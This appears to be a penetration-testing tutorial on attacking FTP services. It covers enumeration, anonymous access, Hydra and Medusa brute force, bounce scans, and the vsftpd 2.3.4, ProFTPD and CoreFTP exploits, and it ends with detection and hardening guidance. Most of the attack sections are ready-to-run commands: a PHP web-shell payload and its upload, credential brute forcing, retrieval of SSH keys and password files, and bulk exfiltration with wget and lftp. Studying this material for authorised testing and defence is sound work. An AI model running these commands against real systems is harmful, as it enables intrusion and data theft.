FTP Service Attacks and Exploitation

Introduction

The File Transfer Protocol (FTP) is a standard network protocol used for transferring files between a client and server over a TCP-based network. Despite being one of the oldest application-layer protocols (originally specified in 1971), FTP remains widely deployed in corporate environments, web hosting platforms, and embedded systems.

FTP's inherent security weaknesses make it an attractive target for penetration testers and attackers:

• Plain-text authentication: Credentials transmitted without encryption
• Clear-text data transfer: File contents visible to network sniffers
• Anonymous access: Frequently misconfigured to allow unauthenticated access
• Weak access controls: Directory permissions often improperly configured
• Protocol design flaws: FTP bounce attacks and command injection vectors

Technical Background

FTP Protocol Overview

FTP operates on a client-server model using two separate connections:

Control Connection (Command Channel):

• Port: TCP/21 (default)
• Purpose: Authentication, commands, responses
• Protocol: ASCII text-based
• Lifetime: Persistent throughout session

Data Connection (Data Channel):

• Ports: TCP/20 (active mode) or ephemeral high ports (passive mode)
• Purpose: File transfers, directory listings
• Lifetime: Established per-operation, then closed

FTP Modes

Active Mode (PORT):

1. Client opens random high port and sends PORT command with IP:Port
2. Server initiates data connection from port 20 to client's specified port
3. Problem: Blocked by client-side firewalls (inbound connection)

Passive Mode (PASV):

1. Client sends PASV command
2. Server opens random high port and returns IP:Port
3. Client initiates data connection to server's specified port
4. Advantage: Works through client-side firewalls

FTP Commands

Common FTP commands relevant to security testing:

Enumeration

Nmap Service Detection

Use Nmap to identify FTP services and check for anonymous access:

# Basic FTP detection
nmap -p 21 -sV -sC 10.10.11.45

# Comprehensive FTP script scan
nmap -p 21 -sV --script=ftp-* 10.10.11.45

# Target multiple FTP ports
nmap -p 21,2121,990,8021 -sV -sC 10.10.11.0/24

Useful Nmap NSE Scripts:

• ftp-anon: Checks for anonymous FTP login
• ftp-bounce: Tests for FTP bounce vulnerability
• ftp-libopie: Checks for libopie buffer overflow
• ftp-proftpd-backdoor: Detects ProFTPD 1.3.3c backdoor
• ftp-vsftpd-backdoor: Detects vsftpd 2.3.4 backdoor
• ftp-vuln-cve2010-4221: Tests for ProFTPD SQL injection

Example Output

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
|_Only 5 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
Service Info: OS: Unix

Manual Enumeration

Connect directly to enumerate service information:

# Using FTP client
ftp 10.10.11.45

# Using Netcat (raw commands)
nc 10.10.11.45 21

# Using Telnet
telnet 10.10.11.45 21

Banner Grabbing:

# Extract version information
echo "QUIT" | nc 10.10.11.45 21

# Example banner
220 (vsFTPd 3.0.3)
220 ProFTPD 1.3.5 Server
220 Microsoft FTP Service

Exploitation Techniques

Anonymous Authentication

Anonymous FTP access is a common misconfiguration that allows unauthenticated users to browse and potentially upload files.

# Using FTP client
ftp 10.10.11.45
# Username: anonymous
# Password: anonymous (or blank)

# Automated connection
ftp -A 10.10.11.45

# Using wget for recursive download
wget -r ftp://anonymous:[email protected]/

# Using curl
curl -u anonymous:anonymous ftp://10.10.11.45/ --list-only

ftp> ls -la
ftp> cd pub
ftp> pwd
ftp> dir -R

# Check for writable directories
ftp> cd incoming
ftp> mkdir test
ftp> rmdir test

# Single file download
ftp> get passwords.txt
ftp> get backup.zip
ftp> get id_rsa

# Binary mode for non-text files
ftp> binary
ftp> get database_backup.sql.gz

# ASCII mode for text files
ftp> ascii
ftp> get .bash_history

# Multiple file download
ftp> mget *.txt
ftp> mget *.conf

wget -r --no-passive ftp://anonymous:[email protected]/

# Create test file
echo "<?php system(\$_GET['cmd']); ?>" > shell.php

# Upload to FTP
ftp> put shell.php
ftp> put backdoor.aspx
ftp> put test.html

# Verify upload
ftp> ls -la

# Multiple file upload
ftp> mput *.php

Brute Force Attacks

When anonymous access is disabled, credential brute-forcing may be necessary.

Using Hydra

# Single username attack
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.10.11.45

# User list and password list
hydra -L users.txt -P passwords.txt ftp://10.10.11.45

# With specific port
hydra -l fiona -P /usr/share/wordlists/rockyou.txt ftp://10.10.11.45:2121

# Verbose output
hydra -l admin -P passwords.txt -V ftp://10.10.11.45

# Faster threads (be careful - may trigger IDS)
hydra -l admin -P passwords.txt -t 16 ftp://10.10.11.45

Using Medusa

# Basic brute force
medusa -u admin -P /usr/share/wordlists/rockyou.txt -h 10.10.11.45 -M ftp

# Multiple users
medusa -U users.txt -P passwords.txt -h 10.10.11.45 -M ftp

# Stop after first valid credentials
medusa -u admin -P passwords.txt -h 10.10.11.45 -M ftp -f

# Verbose mode
medusa -u admin -P passwords.txt -h 10.10.11.45 -M ftp -v 6

Using Metasploit

msfconsole
msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ftp/ftp_login) > set USER_FILE users.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/ftp/ftp_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ftp/ftp_login) > run

FTP Bounce Attack

The FTP bounce attack exploits the PORT command to abuse an FTP server as a proxy for port scanning or attacking internal systems.

Attack Concept

1. Attacker connects to vulnerable FTP server (FTP_DMZ)
2. Attacker sends PORT command specifying internal target IP and port
3. FTP server initiates connection to internal target
4. Attacker observes connection success/failure for port scanning

Using Nmap

# Basic FTP bounce scan
nmap -Pn -v -n -p 80,443,445,3389 -b anonymous:[email protected] 172.17.0.2

# Scan entire subnet through FTP
nmap -Pn -p 22,80,443 -b ftp:[email protected] 192.168.1.0/24

# Comprehensive port scan
nmap -Pn -sV -p- -b anonymous:@10.10.11.45 10.10.10.5

Limitations:

• Modern FTP servers block by default
• Requires anonymous or compromised FTP credentials
• Slow compared to direct scanning
• Easily logged and detected

Manual FTP Bounce

ftp 10.10.11.45
ftp> PORT 172,17,0,2,0,80
200 PORT command successful
ftp> LIST

If connection succeeds: Port is open on target If connection fails: Port is closed or filtered

Common FTP Vulnerabilities

vsftpd 2.3.4 Backdoor (CVE-2011-2523)

# Using Metasploit
msfconsole
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.11.45
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

# Manual exploitation
nc 10.10.11.45 21
USER backdoored:)
PASS anything
# Backdoor shell opens on port 6200
nc 10.10.11.45 6200

ProFTPD 1.3.3c Backdoor (CVE-2010-4221)

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 10.10.11.45
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > exploit

CoreFTP Path Traversal (CVE-2022-22836)

Allows authenticated users to write files outside restricted directories.

# Create malicious payload
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Exploit path traversal
curl -k -X PUT -H "Host: 10.10.11.45" \
     --basic -u admin:password123 \
     --data-binary @shell.php \
     --path-as-is \
     https://10.10.11.45/../../../../../../inetpub/wwwroot/shell.php

# Verify upload
curl http://10.10.11.45/shell.php?cmd=whoami

Post-Exploitation

File Transfer Modes

Understanding FTP transfer modes is critical for successful exploitation:

Binary Mode

Use for:

• Executables (.exe, .dll, .so)
• Compressed files (.zip, .gz, .tar)
• Images (.jpg, .png, .gif)
• Database files

ftp> binary
200 Switching to Binary mode.
ftp> put payload.exe
ftp> get backup.tar.gz

ASCII Mode

Use for:

• Text files (.txt, .log, .conf)
• Scripts (.sh, .ps1, .py)
• Source code (.c, .php, .asp)
• Configuration files

ftp> ascii
200 Switching to ASCII mode.
ftp> put shell.php
ftp> get passwords.txt

Privilege Escalation via FTP

If FTP runs with elevated privileges, file upload can lead to privilege escalation:

Scenario 1: Web Shell Upload

1. Anonymous FTP allows upload to web directory
2. Upload PHP/ASP web shell
3. Execute via HTTP to gain RCE

Scenario 2: Cron Job Manipulation

1. FTP allows access to /etc/cron.d/ or /var/spool/cron/
2. Upload malicious cron job
3. Wait for scheduled execution as root

Scenario 3: SSH Key Injection

1. FTP allows write to /home/user/.ssh/
2. Upload attacker's public key to authorized_keys
3. SSH as user with key-based authentication

Data Exfiltration

# Download entire directory structure
wget -r --no-passive ftp://admin:[email protected]/

# Mirror FTP server
lftp -e "mirror ; quit" ftp://admin:[email protected]/

# Selective download
lftp -c "open ftp://admin:[email protected]; mget *.sql; quit"

Detection and Defense

Monitoring for FTP Attacks

Event Indicators:

• Multiple failed login attempts (brute-force)
• Anonymous login followed by file uploads
• PORT commands with internal IP addresses (bounce attacks)
• File downloads of sensitive data
• Unusual connection times or source IPs

Log Analysis:

# vsftpd logs
tail -f /var/log/vsftpd.log

# ProFTPD logs
tail -f /var/log/proftpd/proftpd.log

# Check for failed logins
grep "FAIL LOGIN" /var/log/vsftpd.log

# Detect brute force
grep "authentication failed" /var/log/proftpd/proftpd.log | cut -d' ' -f8 | sort | uniq -c | sort -n

Hardening FTP Services

# vsftpd configuration (/etc/vsftpd.conf)
anonymous_enable=NO

# ProFTPD configuration (/etc/proftpd/proftpd.conf)
<Anonymous ~ftp>
  User ftp
  Group ftp
  UserAlias anonymous ftp
  # Comment out entire block or disable
</Anonymous>

# iptables firewall rules
iptables -A INPUT -p tcp --dport 21 -s 10.10.10.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 21 -j DROP

# vsftpd TCP wrappers
# /etc/hosts.allow
vsftpd: 10.10.10.0/24

# /etc/hosts.deny
vsftpd: ALL

# vsftpd
chroot_local_user=YES
chroot_list_enable=NO

# ProFTPD
DefaultRoot ~

# vsftpd extensive logging
log_ftp_protocol=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log

# ProFTPD detailed logging
SystemLog /var/log/proftpd/proftpd.log
TransferLog /var/log/proftpd/xferlog

# vsftpd - disable ABOR, DELE, RNFR, RNTO, STOR, STOU
cmds_allowed=FEAT,REST,CWD,LIST,MDTM,MKD,NLST,PASS,PASV,PORT,PWD,QUIT,RETR,SIZE,TYPE,USER

# ProFTPD
<Limit SITE_CHMOD>
  DenyAll
</Limit>

<Limit DELE RMD>
  DenyAll
</Limit>

Migrate to Secure Alternatives

SFTP (SSH File Transfer Protocol):

• Encrypted authentication and data transfer
• Piggybacks on SSH (port 22)
• Strong cryptographic protection

FTPS (FTP Secure):

• FTP with TLS/SSL encryption
• Explicit (FTPES) or Implicit (FTPS) modes
• Certificate-based authentication available

SCP (Secure Copy Protocol):

• SSH-based file transfer
• Simple, secure, encrypted
• No interactive session required

References

• RFC 959 - File Transfer Protocol (FTP)
• CWE-306: Missing Authentication for Critical Function
• CVE-2011-2523: vsftpd 2.3.4 Backdoor
• CVE-2022-22836: CoreFTP Path Traversal
• OWASP: Testing for Weak Password Policy
• NIST SP 800-52 Rev. 2: TLS Guidelines